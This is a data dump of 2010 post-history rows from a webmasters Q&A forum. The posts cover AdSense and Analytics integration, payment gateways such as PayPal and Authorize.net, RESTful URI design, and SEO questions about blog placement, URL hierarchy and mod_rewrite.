  <row Id="5603" PostHistoryTypeId="5" PostId="2823" RevisionGUID="39489e5b-bd85-4fc1-80ae-757b64ed0b73" CreationDate="2010-09-08T07:50:24.887" UserId="586" Comment="Add link to my website" Text="(Cross-posted to [Web Applications][1])&#xD;&#xA;&#xD;&#xA;I've [posted it once][2] to the adsense ad forum, but as usual Google does not respond to help requests, and I got no real answers.&#xD;&#xA;&#xD;&#xA;I am having issues integrating my Adsense and Analytics accounts on my website - http://draw3cards.com. The accounts seem integrated from Adsense (I get a working &quot;go to analytics&quot; link), but all the analytics are flatlined - they show zero revenues although they are non-zero.&#xD;&#xA;&#xD;&#xA;What can I do to resolve this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webapps.stackexchange.com/questions/6493/problem-integrating-adsen-with-google-analytics&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/AdSense/thread?tid=1cb907196596459c&amp;hl=en" />
  <row Id="5604" PostHistoryTypeId="2" PostId="2875" RevisionGUID="4c4356c5-cf19-435d-95f9-ac67387607ae" CreationDate="2010-09-08T09:43:00.840" UserId="1424" Text="What's a good payment gateway for an e-commerce shop with revenues of about 10.000 euros per week ?" />
  <row Id="5605" PostHistoryTypeId="1" PostId="2875" RevisionGUID="4c4356c5-cf19-435d-95f9-ac67387607ae" CreationDate="2010-09-08T09:43:00.840" UserId="1424" Text="payment gateway" />
  <row Id="5606" PostHistoryTypeId="3" PostId="2875" RevisionGUID="4c4356c5-cf19-435d-95f9-ac67387607ae" CreationDate="2010-09-08T09:43:00.840" UserId="1424" Text="&lt;payments&gt;" />
  <row Id="5608" PostHistoryTypeId="2" PostId="2877" RevisionGUID="795321b0-f6e7-434d-bc40-9b468dedc389" CreationDate="2010-09-08T10:18:03.103" UserId="1703" Text="PayPal because:&#xD;&#xA;&#xD;&#xA;  - Setup fee None&#xD;&#xA;  - Monthly fee £20&#xD;&#xA;  - Transaction fee 1.4-3.4% per transaction + 20p (2.4% in your circumstance for 10,000 euros pm)&#xD;&#xA;&#xD;&#xA;See my answer [here][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/45/how-do-i-take-payments-on-my-website/2711#2711" />
  <row Id="5609" PostHistoryTypeId="2" PostId="2878" RevisionGUID="00336ecd-2a05-4082-a0bd-8e6d8dcfdc41" CreationDate="2010-09-08T10:44:46.783" UserId="233" Text="Microformats are much simpler to understand and implement, using additional classes on existing HTML elements (or additional span/div elements where necessary).&#xD;&#xA;&#xD;&#xA;RDFa on the other hand is more complex and can be difficult to implement, using attributes like `xmlns:v` and values like `v:Person`. Like JasonBirch says it's a little problematic for non-XHTML pages (and as such won't validate, if that matters to you)." />
  <row Id="5610" PostHistoryTypeId="5" PostId="2849" RevisionGUID="edf94043-04fb-41ed-a97d-0f3c847b3d31" CreationDate="2010-09-08T10:47:51.643" UserId="233" Comment="deleted 119 characters in body" Text="Have you selected your domain as the Primary domain? If you have multiple sites you will need to select a primary domain, then put a small bit of code on each of the other sites.&#xD;&#xA;&#xD;&#xA;To set the primary domain and get the required code, from Analytics home click the &quot;Edit AdSense linking settings&quot; link at the top of the page. First tick the sites you want to link. On the next step you can choose your primary domain, then get the code for the others." />
  <row Id="5611" PostHistoryTypeId="2" PostId="2879" RevisionGUID="760255ea-3e52-4496-818f-921cffefadcf" CreationDate="2010-09-08T11:12:04.140" UserId="1424" Text="I need a good payment gateway for my shop (Drupal Ubercart).&#xD;&#xA;&#xD;&#xA;I was considering to use Authorize.net... is it available in Europe ?&#xD;&#xA;&#xD;&#xA;My customer has revenues of 10.000 per week so I'm looking for a professional solution.&#xD;&#xA;&#xD;&#xA;Could you give me some tip ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="5612" PostHistoryTypeId="1" PostId="2879" RevisionGUID="760255ea-3e52-4496-818f-921cffefadcf" CreationDate="2010-09-08T11:12:04.140" UserId="1424" Text="Authorize.net payment gateway... few questions" />
  <row Id="5613" PostHistoryTypeId="3" PostId="2879" RevisionGUID="760255ea-3e52-4496-818f-921cffefadcf" CreationDate="2010-09-08T11:12:04.140" UserId="1424" Text="&lt;ecommerce&gt;&lt;payment&gt;" />
  <row Id="5614" PostHistoryTypeId="2" PostId="2880" RevisionGUID="96a16486-006f-467c-bf60-754d719661a8" CreationDate="2010-09-08T11:41:19.133" UserId="1253" Text="It is not available in Europe. It is only available for US based merchant accounts. You can take European credit cards through Authorize.Net but only if you have a US merchant account." />
  <row Id="5616" PostHistoryTypeId="5" PostId="2880" RevisionGUID="b4d4cb0a-037b-40f7-93b8-ccdddc6ec4da" CreationDate="2010-09-08T12:02:56.473" UserId="1253" Comment="added 1513 characters in body" Text="It is not available in Europe. It is only available for US based merchant accounts. You can take European credit cards through Authorize.Net but only if you have a US merchant account.&#xD;&#xA;&#xD;&#xA;From their FAQ&#xD;&#xA;&#xD;&#xA;&gt; To utilize Authorize.Net as your&#xD;&#xA;&gt; payment gateway, you will need an&#xD;&#xA;&gt; account with a Merchant Service&#xD;&#xA;&gt; Provider (MSP). Each MSP has certain&#xD;&#xA;&gt; processing platforms, or payment&#xD;&#xA;&gt; processors, that they work with. These&#xD;&#xA;&gt; processors facilitate communication&#xD;&#xA;&gt; between Authorize.Net and the MSP, as&#xD;&#xA;&gt; well as the different card issuing&#xD;&#xA;&gt; banks.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Authorize.Net supports the following&#xD;&#xA;&gt; payment processors:&#xD;&#xA;&gt; &#xD;&#xA;&gt; TSYS / Vital / VisaNet Paymentech&#xD;&#xA;&gt; Elavon / Nova First Data (Nashville /&#xD;&#xA;&gt; FDCN / FDMS / Envoy) First Data Omaha&#xD;&#xA;&gt; (FDCO / FDR-First Data Resources)&#xD;&#xA;&gt; Global Payments (GPS / GPN / NDC)&#xD;&#xA;&gt; CardSystems / PayByTouch / Solidus&#xD;&#xA;&gt; Networks RBS Lynk / Lynk Systems&#xD;&#xA;&gt; Heartland Concord EFS If your MSP&#xD;&#xA;&gt; supports one or more of these payment&#xD;&#xA;&gt; processors, we can work with them, and&#xD;&#xA;&gt; you will be able to utilize our&#xD;&#xA;&gt; payement gateway. Please note that it&#xD;&#xA;&gt; is very rare for an MSP outside the&#xD;&#xA;&gt; United States will support one of&#xD;&#xA;&gt; these payment processors.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note: Authorize.Net can only process&#xD;&#xA;&gt; transactions in US Dollars and we do&#xD;&#xA;&gt; not facilitate any currency&#xD;&#xA;&gt; conversions. If your MSP is based&#xD;&#xA;&gt; outside the United States, and handles&#xD;&#xA;&gt; funds other than US Dollars, they will&#xD;&#xA;&gt; need to handle the currency&#xD;&#xA;&gt; conversion. As a result, all customers&#xD;&#xA;&gt; paying through our gateway will be&#xD;&#xA;&gt; charged in US Dollars, and their card&#xD;&#xA;&gt; issuing banks will convert the&#xD;&#xA;&gt; currency for them.currency for them.&#xD;&#xA;&#xD;&#xA;MSPs are only available in the US." />
  <row Id="5617" PostHistoryTypeId="5" PostId="2880" RevisionGUID="755eb28a-fbc5-4a53-b177-3bda12c2ab2f" CreationDate="2010-09-08T12:10:24.830" UserId="1253" Comment="deleted 1275 characters in body" Text="It is not available in Europe. It is only available for US based merchant accounts. You can take European credit cards through Authorize.Net but only if you have a US merchant account.&#xD;&#xA;&#xD;&#xA;From their FAQ&#xD;&#xA;&#xD;&#xA;&gt; Thank you for your interest in Authorize.Net. At this time, we are only able to offer our services to U.S. based businesses, or merchants who have U.S. based merchant accounts.&#xD;&#xA;&#xD;&#xA;MSPs are only available in the US." />
  <row Id="5618" PostHistoryTypeId="16" PostId="2860" RevisionGUID="73959303-4845-4b1f-9ca3-c41f5ab576c1" CreationDate="2010-09-08T12:32:18.363" UserId="1017" />
  <row Id="5619" PostHistoryTypeId="5" PostId="2880" RevisionGUID="f13e06e6-7e40-4e11-9f1c-3b9a8cc93645" CreationDate="2010-09-08T13:08:21.690" UserId="1253" Comment="deleted 82 characters in body" Text="It is not available in Europe. It is only available for US based merchant accounts. You can take European credit cards through Authorize.Net but only if you have a US merchant account.&#xD;&#xA;&#xD;&#xA;From their FAQ&#xD;&#xA;&#xD;&#xA;&gt; At this time, we are only able to offer our services to U.S. based businesses, or merchants who have U.S. based merchant accounts.&#xD;&#xA;" />
  <row Id="5620" PostHistoryTypeId="2" PostId="2881" RevisionGUID="72177906-c823-44b2-abfa-5b41c01829ab" CreationDate="2010-09-08T13:12:57.273" UserId="1790" Text="Second [Open Site Explorer][1], I use it fairly frequently for SEO purposes. Another site I find useful is [PageRank][2], which gives you the estimated page rank (ie how much weight or authority a site has in a search engine) - this is only really useful for analysing links into your site.&#xD;&#xA;&#xD;&#xA;But as for your questions, both can be answered through the Keywords Tool as danlefree's answer mentions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org/&#xD;&#xA;  [2]: http://www.pagerank.net/pagerank-checker/" />
  <row Id="5621" PostHistoryTypeId="16" PostId="2881" RevisionGUID="72177906-c823-44b2-abfa-5b41c01829ab" CreationDate="2010-09-08T13:12:57.273" UserId="-1" />
  <row Id="5622" PostHistoryTypeId="2" PostId="2882" RevisionGUID="25f92b70-3a18-4d11-9208-fe74f9dd7334" CreationDate="2010-09-08T13:52:47.443" UserId="1790" Text="[Google Browser Size][1] shows an overlay of the percentage of users who have their browsers at certain resolutions. This also takes into account people who don't maximise the browser window, as well as screen resolutions.&#xD;&#xA;&#xD;&#xA;As for screen resolutions for sites, see this thread: http://stackoverflow.com/questions/2932063/what-is-the-minimum-screen-resolution-for-which-you-guys-currently-optimize-your&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsersize.googlelabs.com/" />
  <row Id="5623" PostHistoryTypeId="16" PostId="2882" RevisionGUID="25f92b70-3a18-4d11-9208-fe74f9dd7334" CreationDate="2010-09-08T13:52:47.443" UserId="-1" />
  <row Id="5624" PostHistoryTypeId="5" PostId="2877" RevisionGUID="3f078219-8d12-4dc3-8abf-44d1d47a23c5" CreationDate="2010-09-08T14:00:23.213" UserId="1703" Comment="edited body" Text="PayPal because:&#xD;&#xA;&#xD;&#xA;  - Setup fee None&#xD;&#xA;  - Monthly fee £20&#xD;&#xA;  - Transaction fee 1.4-3.4% per transaction + 20p (1.9% in your circumstance for 10,000 euros pw)&#xD;&#xA;&#xD;&#xA;See my answer [here][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/45/how-do-i-take-payments-on-my-website/2711#2711" />
  <row Id="5625" PostHistoryTypeId="2" PostId="2883" RevisionGUID="5ab7edbb-cf74-4322-8eeb-b9afadfdd9dd" CreationDate="2010-09-08T15:37:28.400" UserDisplayName="dbh" Text="As long as the ID3 tags are all in order, why not just put the MP3s themselves in the root of the ZIP folder? I mean, since they're going to be tossed into an iTunes library anyways... I do hate zipping things on a Mac though (when you unzip the file on a PC you get a couple hidden things, including a confusing __MACOSX folder)." />
  <row Id="5626" PostHistoryTypeId="2" PostId="2884" RevisionGUID="9f9970b5-b0be-483f-b903-df3d5fced0e1" CreationDate="2010-09-08T16:08:33.307" UserId="1207" Text="Zip is fine for posting it on your webserver. But you really should be getting your music onto distribution channels like emusic and itunes. It's super easy these days. And of course they'll integrate directly with many media players AND offer a broader audience than you're going to get on your website. &#xD;&#xA;&#xD;&#xA;Try http://www.tunecore.com/ if you want to sell your stuff and http://www.jamendo.com/ if you want to give it away.&#xD;&#xA;&#xD;&#xA;Don't re-invent the wheel! especially when the hoveboard has already been created." />
  <row Id="5627" PostHistoryTypeId="5" PostId="2873" RevisionGUID="aba4a442-6493-4a29-9b6b-bd61180e2c63" CreationDate="2010-09-08T16:15:53.670" UserId="359" Comment="added 221 characters in body" Text="There are a number of 3rd parties that help manage and optimize advertising on your website:&#xD;&#xA;&#xD;&#xA; - [Pubmatic.com][1]&#xD;&#xA; - [YieldBuild.com][2]&#xD;&#xA; - [RubiconProject.com][3]&#xD;&#xA; - [Admeld.com][4]&#xD;&#xA;&#xD;&#xA;The benefit of using these services is that 1) you only need to implement one set of tags on your website, and 2) they dynamically optimize your ad placements to select the ad network that will pay you the most revenue.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pubmatic.com&#xD;&#xA;  [2]: http://www.yieldbuild.com&#xD;&#xA;  [3]: http://www.rubiconproject.com&#xD;&#xA;  [4]: http://www.admeld.com" />
  <row Id="5631" PostHistoryTypeId="2" PostId="2886" RevisionGUID="99b8b6c2-4de1-40bf-a6a0-ddd66cf4fcaa" CreationDate="2010-09-08T17:19:04.403" UserId="1500" Text="When you fill in your payment method, you can set it to not automatically withdraw money. At that point you'd have to go in and add funds to it manually. If you do it that way you wont get charged. Only downside is those coupons usually have to be used on new accounts." />
  <row Id="5632" PostHistoryTypeId="2" PostId="2887" RevisionGUID="03e62087-3b4d-4675-8bc3-cb75344cfd4e" CreationDate="2010-09-08T18:14:42.450" UserId="1894" Text="I'm stuck designing URIs for a many-to-many relationship between users and other resources. Specifically I'm having difficulty predicting the consequences of different approaches.&#xD;&#xA;&#xD;&#xA;Given a resources types `user` and `widget` (`user` represents an authenticated user), users have write access to all widgets and guests have read access. The user-widget relation also has data (eg. number of edits) which should also be readable by guests. Examples use integers for unique identifiers for the sake of clarity.&#xD;&#xA;&#xD;&#xA;Guests can view widget #12 at&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;&#xD;&#xA;What are the implications of various possible URIs for authenticated user #34 to read/write widget #12 (or a guest to read the relational data between the two)?&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;(user is implicit based on authentication)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12&#xD;&#xA;(both sides of the relation explicit, implicit hierarchy between resources)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12 and /widgets/12/users/34&#xD;&#xA;(same, without hierarchy)&#xD;&#xA;&#xD;&#xA;    /user-widget/34,12&#xD;&#xA;(relation as resource, explicit but possibly more than the user needs to know)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm happy to give more detail or add other people's URI suggestions. Just comment if you want me to add anything.&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="5633" PostHistoryTypeId="1" PostId="2887" RevisionGUID="03e62087-3b4d-4675-8bc3-cb75344cfd4e" CreationDate="2010-09-08T18:14:42.450" UserId="1894" Text="URI design for many-to-many relationship: advice needed" />
  <row Id="5634" PostHistoryTypeId="3" PostId="2887" RevisionGUID="03e62087-3b4d-4675-8bc3-cb75344cfd4e" CreationDate="2010-09-08T18:14:42.450" UserId="1894" Text="&lt;url&gt;&lt;design&gt;&lt;resources&gt;" />
  <row Id="5635" PostHistoryTypeId="2" PostId="2888" RevisionGUID="9276028a-8bce-45c8-96a2-19cd7d569b3f" CreationDate="2010-09-08T18:21:26.557" UserId="797" Text="The common term for this is, &quot;Website Stickiness&quot;. And yes, content is king but there are many additional tools you can use to maximize user exploration and retention. Google &quot;website stickiness&quot; and you'll get lots of well thought out articles on the subject. " />
  <row Id="5636" PostHistoryTypeId="16" PostId="2888" RevisionGUID="9276028a-8bce-45c8-96a2-19cd7d569b3f" CreationDate="2010-09-08T18:21:26.557" UserId="-1" />
  <row Id="5638" PostHistoryTypeId="2" PostId="2890" RevisionGUID="aac816a5-b5fd-4857-b877-b8a1088c8f76" CreationDate="2010-09-08T18:47:25.373" UserId="236" Text="If this is about authentication, I wouldn't pass it via the URL at all. What's to stop me from  changing the user ID in the URL and getting permissions I'm not supposed to?" />
  <row Id="5639" PostHistoryTypeId="2" PostId="2891" RevisionGUID="0eac6b0a-8ec9-4f0d-b018-dbca5c94db53" CreationDate="2010-09-08T18:50:05.397" UserId="236" Text="as others have said, You can use the coupon and not worry about getting over charged. Having said that, I would open up an adwords acct, and set a low daily spending budget of $2 - $5. You won't get that much in traffic, but use this as a way to learn some about adwords for free. You'll get a bit of traffic, and based how it treats the words you bid on/ what it suggests, you can get a good idea of how Google views your site." />
  <row Id="5640" PostHistoryTypeId="5" PostId="2887" RevisionGUID="38d2b02e-a520-482c-bcbb-39c234a55c53" CreationDate="2010-09-08T19:50:14.083" UserId="1894" Comment="Attempt to clarify example scenario" Text="I'm stuck designing URIs for a many-to-many relationship between users and other resources. Specifically I'm having difficulty predicting the consequences of different approaches.&#xD;&#xA;&#xD;&#xA;Given a resources types `user` and `widget` (`user` represents a registered user), authenticated (logged-in) users have write access to all widgets and guests have read access. The user-widget relation also has data (eg. number of edits) which ideally should also be readable by guests. Examples use integers for unique identifiers for the sake of clarity.&#xD;&#xA;&#xD;&#xA;Guests can view widget #12 at&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;&#xD;&#xA;What are the implications of various possible URIs for authenticated user #34 to read/write widget #12 (and optionally for a guest to read the relational data between the two)?&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;(user is implicit based on authentication, no way for guest to specify user-widget relation)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12&#xD;&#xA;(both sides of the relation explicit, implicit hierarchy between resources)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12 and /widgets/12/users/34&#xD;&#xA;(same, without hierarchy)&#xD;&#xA;&#xD;&#xA;    /user-widget/34,12&#xD;&#xA;(relation as resource, explicit but possibly more than the user needs to know)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm happy to give more detail or add other people's URI suggestions. Just comment if you want me to add anything.&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="5641" PostHistoryTypeId="2" PostId="2892" RevisionGUID="c3bbcdae-9d93-456c-94ac-242884d55820" CreationDate="2010-09-08T19:51:31.003" UserId="1725" Text="There's only so many things you can do with the coupon: spend it. Most people don't really jump up at the 100$ card because they can't use it. Give out a favor to a friend or someone who has a startup and looking for some free marketing." />
  <row Id="5642" PostHistoryTypeId="2" PostId="2893" RevisionGUID="11e0f369-4734-41a1-8b56-f4a5afdb4dd1" CreationDate="2010-09-08T19:57:10.960" UserId="1124" Text="I recently added a blog to one of our company's websites, and was confident that this increase in content on the site would have only positive SEO results.  My boss, however, feels that we should have instead located the blog off-site, on a blogging platform such as Wordpress, Typepad, etc., in order to generate a backlink (assuming we'd link from blogging platform back to website.)&#xD;&#xA;&#xD;&#xA;While I know that backlinks are important for SEO, isn't content creation equally, if not more, important?  Granted, I'd be creating content either way, but I figured we'd get more site traffic by having the blog located on our site versus a separate blogging platform.  Am I incorrect in my priorities here?  Boss's TOP priority is increasing the ranking of our website, so maybe a backlink would be better...?&#xD;&#xA;&#xD;&#xA;If we do need to relocate the blog to an off-site platform, is there a blogging platform that is more conducive to SEO than others?  Is there a platform from which backlinks would be more valuable than others?" />
  <row Id="5643" PostHistoryTypeId="1" PostId="2893" RevisionGUID="11e0f369-4734-41a1-8b56-f4a5afdb4dd1" CreationDate="2010-09-08T19:57:10.960" UserId="1124" Text="SEO Implications of blog on site versus offsite?" />
  <row Id="5644" PostHistoryTypeId="3" PostId="2893" RevisionGUID="11e0f369-4734-41a1-8b56-f4a5afdb4dd1" CreationDate="2010-09-08T19:57:10.960" UserId="1124" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;blog&gt;" />
  <row Id="5645" PostHistoryTypeId="5" PostId="2887" RevisionGUID="e414a140-9b7e-466b-8beb-64bf5d7f61a2" CreationDate="2010-09-08T20:00:06.663" UserId="1894" Comment="Suggested partial answers" Text="I'm stuck designing URIs for a many-to-many relationship between users and other resources. Specifically I'm having difficulty predicting the consequences of different approaches.&#xD;&#xA;&#xD;&#xA;Given a resources types `user` and `widget` (`user` represents a registered user), authenticated (logged-in) users have write access to all widgets and guests have read access. The user-widget relation also has data (eg. number of edits) which ideally should also be readable by guests. Examples use integers for unique identifiers for the sake of clarity.&#xD;&#xA;&#xD;&#xA;Guests can view widget #12 at&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;&#xD;&#xA;What are the implications of various possible URIs for authenticated user #34 to read/write widget #12, and optionally for a guest to read the relational data between the two? (Don't worry about giving a comprehensive answer, any observations for or against specific options would also be very valuable).&#xD;&#xA;&#xD;&#xA;    /widgets/12&#xD;&#xA;(user is implicit based on authentication, no way for guest to specify user-widget relation)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12&#xD;&#xA;(both sides of the relation explicit, implicit hierarchy between resources)&#xD;&#xA;&#xD;&#xA;    /users/34/widgets/12 and /widgets/12/users/34&#xD;&#xA;(same, without hierarchy)&#xD;&#xA;&#xD;&#xA;    /user-widget/34,12&#xD;&#xA;(relation as resource, explicit but possibly more than the user needs to know)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm happy to give more detail or add other people's URI suggestions. Just comment if you want me to add anything.&#xD;&#xA;&#xD;&#xA;    " />
  <row Id="5646" PostHistoryTypeId="2" PostId="2894" RevisionGUID="033f8211-841d-42e6-959a-b794e1fb3a88" CreationDate="2010-09-08T20:21:15.213" UserId="812" Text="I'm currently redesigning a site that organizes information into categories. Some of these categories contain subcategories (and some of those contain even more subcategories).&#xD;&#xA;&#xD;&#xA;I'm trying to decide between the following url structures for the resulting pages:&#xD;&#xA;&#xD;&#xA; - domain.com/&amp;lt;main-category&amp;gt;/&#xD;&#xA; - domain.com/&amp;lt;main-category&amp;gt;/&amp;lt;sub-category&amp;gt;/&#xD;&#xA; - domain.com/&amp;lt;main-category&amp;gt;/&amp;lt;sub-category&amp;gt;/&amp;lt;sub-sub-category&amp;gt;/&#xD;&#xA;&#xD;&#xA;vs.&#xD;&#xA;&#xD;&#xA; - domain.com/&amp;lt;main-category&amp;gt;/&#xD;&#xA; - domain.com/&amp;lt;sub-category&amp;gt;/&#xD;&#xA; - domain.com/&amp;lt;sub-sub-category&amp;gt;/&#xD;&#xA;&#xD;&#xA;I'm leaning toward the first because there will be more relevant keywords that may help long tail search traffic, but I can see disadvantages as well... the most specific keywords to that page will be further away from the &quot;front&quot; of the url and a long url is harder to share and type correctly. For whatever it's worth, I don't expect there to be more than 3 levels of nested categories.&#xD;&#xA;&#xD;&#xA;Thoughts on which approach to take, or even something completely different?" />
  <row Id="5647" PostHistoryTypeId="1" PostId="2894" RevisionGUID="033f8211-841d-42e6-959a-b794e1fb3a88" CreationDate="2010-09-08T20:21:15.213" UserId="812" Text="include full category hierarchy in url or only the &quot;leaf&quot;?" />
  <row Id="5648" PostHistoryTypeId="3" PostId="2894" RevisionGUID="033f8211-841d-42e6-959a-b794e1fb3a88" CreationDate="2010-09-08T20:21:15.213" UserId="812" Text="&lt;seo&gt;&lt;url-format&gt;" />
  <row Id="5649" PostHistoryTypeId="2" PostId="2895" RevisionGUID="06904728-5782-44fd-bc53-434e93faa80f" CreationDate="2010-09-08T20:24:50.160" UserId="1896" Text="At the company where I work, we're getting ready to design a new web site, and there's some disagreement about how to do clean URLs. Over the past year we've been making small improvements to our existing web site in anticipation of a large-scale redesign, which has involved the Poor Man's Clean URLs&amp;trade;.&#xD;&#xA;&#xD;&#xA;Example:&lt;br&gt;&#xD;&#xA;http://www.example.com/products/widgets/index.php&lt;br&gt;&#xD;&#xA;http://www.example.com/products/sprockets/index.php&#xD;&#xA;&#xD;&#xA;For the new site, there is some talk about using mod_rewrite:&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;The user requests http://www.example.com/products/widgets/&lt;/li&gt;&#xD;&#xA;&lt;li&gt;mod_rewrite sends them to http://www.example.com/index.php?page=products/widgets&lt;/li&gt;&#xD;&#xA;&lt;li&gt;index.php sends them to the real page http://www.example.com/products/widgets.php&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;I'm failing to see how all this rigamaroll is adding any value. The employee in favor of mod_rewrite is claiming that fewer directories somehow equates to easier maintenance.&#xD;&#xA;&#xD;&#xA;None of our existing pages make use of variables in the query string. All the content is in the actual files themselves. We are planning to put some content in the database, like press releases and upcoming trade shows we will be attending, but the vast majority of pages will only be using PHP for including common HTML like header, footer, and navigation. I would definitely be up for using mod_rewrite for dynamic content like that.&#xD;&#xA;&#xD;&#xA;Is there some big benefit I'm missing that we should be using mod_rewrite for everything? Are the Poor Man's Clean URLs&amp;trade; sufficient for the non-database parts of our site?" />
  <row Id="5650" PostHistoryTypeId="1" PostId="2895" RevisionGUID="06904728-5782-44fd-bc53-434e93faa80f" CreationDate="2010-09-08T20:24:50.160" UserId="1896" Text="Poor Man's Clean URLs vs. Mod_Rewrite" />
  <row Id="5651" PostHistoryTypeId="3" PostId="2895" RevisionGUID="06904728-5782-44fd-bc53-434e93faa80f" CreationDate="2010-09-08T20:24:50.160" UserId="1896" Text="&lt;website-design&gt;&lt;url-rewriting&gt;" />
  <row Id="5652" PostHistoryTypeId="2" PostId="2896" RevisionGUID="d51e5ee0-4552-4b1d-a0c8-229a4bfa8c74" CreationDate="2010-09-08T20:27:02.527" UserId="1762" Text="The URL for accessing the widget should be the same for everyone.  The control of what to show or what capabilities the user has is dependent on the userid, which could be kept, for example, in a session variable.&#xD;&#xA;&#xD;&#xA;So when widget/12 loads, your web page should check who the user id is in the session variable, see what their permissions are, and then you would format the page based on those permissions." />
  <row Id="5653" PostHistoryTypeId="2" PostId="2897" RevisionGUID="02633f9e-3dc9-44c3-9ab7-9974a72642b8" CreationDate="2010-09-08T20:35:56.210" UserId="1253" Text="1) Internal links are just as important as external links. A big part of Wikipedia's success is their excellent internal linking.&#xD;&#xA;&#xD;&#xA;2) An offsite blog will be of equal value to an onsite blog because both will be new and have no incoming links to them, the same content, and just about the same everything (except URL and HTML). Regardless of wherever you put it it's going to have the roughly same SEO value. &#xD;&#xA;&#xD;&#xA;If you want to have full control over everything, host it on your own site. If you want someone to manage everything but the content, host it remotely. But the SEO differences between the two will be virtually nil. " />
  <row Id="5654" PostHistoryTypeId="2" PostId="2898" RevisionGUID="450199e5-bf1e-44af-a594-ed3d75102ede" CreationDate="2010-09-08T20:40:40.287" UserId="1253" Text="The 3 step process you outlined above seems redundant and useless as is stated above. If in step 3 index.php takes them to the &quot;real&quot; page then why even bother with mod_rewrite at all? Doing that will negate the advantages mod_rewrite is offering. Namely, a search engine friendly URL and easier site maintenance. If you stop at step two you benefit from mod_rewrite by having only one page to maintain yet it can serve up a virtually unlimited number of pages and be transparent to the user and the search engines as they only see the URL in step 1." />
  <row Id="5655" PostHistoryTypeId="5" PostId="2897" RevisionGUID="1d81834d-6a55-48c6-9e26-69b309fb430a" CreationDate="2010-09-08T20:42:08.363" UserId="1253" Comment="added 111 characters in body" Text="1) Internal links are just as important as external links. A big part of Wikipedia's success is their excellent internal linking.&#xD;&#xA;&#xD;&#xA;2) An offsite blog will be of equal value to an onsite blog because both will be new and have no incoming links to them, the same content, and just about the same everything (except URL and HTML). Regardless of wherever you put it it's going to have the roughly same SEO value. (It's a common myth to think that links from separate domains have more value then links from the same domain).&#xD;&#xA;&#xD;&#xA;If you want to have full control over everything, host it on your own site. If you want someone to manage everything but the content, host it remotely. But the SEO differences between the two will be virtually nil. " />
  <row Id="5656" PostHistoryTypeId="2" PostId="2899" RevisionGUID="9a5d3cd7-1c18-41ee-b428-477dc3373a47" CreationDate="2010-09-08T20:47:07.610" UserId="1253" Text="I'd go for the first one as well. Besides being good for SEO it technically is good for usability as it helps to clearly define what the page is about (for those who actually have any clue what they are looking at that is).&#xD;&#xA;&#xD;&#xA;I wouldn't worry about longish URLs as not only are they very common nowadays, but most people are clicking on links to get to their content as opposed to typing it in. Most people find content from either doing searches or navigating their way into a site. And when they do type in a URL is usually just the domain name. Rarely do you see a user enter a URL with subdirectories or query strings. They usually find those deeper pages by search or hitting the site homepage and then navigating deeper." />
  <row Id="5657" PostHistoryTypeId="2" PostId="2900" RevisionGUID="2e23cf4a-cb76-4e99-a664-5820fe9129ba" CreationDate="2010-09-08T21:56:23.520" UserId="711" Text="It's a myth that &quot;/pagename&quot; or &quot;/pagename.htm&quot; are better for search engines than &quot;/pagename.php&quot;. At least at Google, there is definitely no basis for this (and I assume the others as well). Similarly, even &quot;index.php?page=pagename&quot; does not need to be rewritten as &quot;/pagename&quot; -- search engines can understand those URLs without any problems, and Google has even gone on the record that it prefers that users not rewrite them unnecessarily ( http://googlewebmastercentral.blogspot.com/2008/09/dynamic-urls-vs-static-urls.html ). So provided you aren't creating endless URLs with URL parameters, **rewritten URLs are not necessarily more search engine friendly than non-rewritten URLs**. &#xD;&#xA;&#xD;&#xA;That said, users may prefer nice URLs over ugly/complex URLs. If your main worry is having nice URLs in the search results, I'd take a look at the breadcrumbs microformat that Google now supports ( http://googlewebmastercentral.blogspot.com/2010/09/rich-snippets-testing-tool-improvements.html ) as these can often provide an even better user-experience regarding URLs in the search results. This won't solve the problem of users wanting nice-looking URLs to link to, but provided your URLs are not endlessly complex (and your examples aren't), it likely won't make a measurable difference if you rewrite them for that use-case. If there's no measurable difference, then it probably doesn't make sense to spend time on designing and maintaining such a setup. " />
  <row Id="5658" PostHistoryTypeId="2" PostId="2901" RevisionGUID="007b67c3-7830-44ed-98aa-5c58e42656d1" CreationDate="2010-09-08T21:56:26.530" UserId="108" Text="Ditto what John Conde said.&#xD;&#xA;&#xD;&#xA;Also, with the second method what if you have categories with the same name as a sub or sub-sub category or if you have a sub category with the same name as a sub-sub category.  It will cause you call kinds of issues.&#xD;&#xA;&#xD;&#xA;I would only suggest the second method if you have extremely short categories and few of them.  Even with short category names people are very unlikely to type them in." />
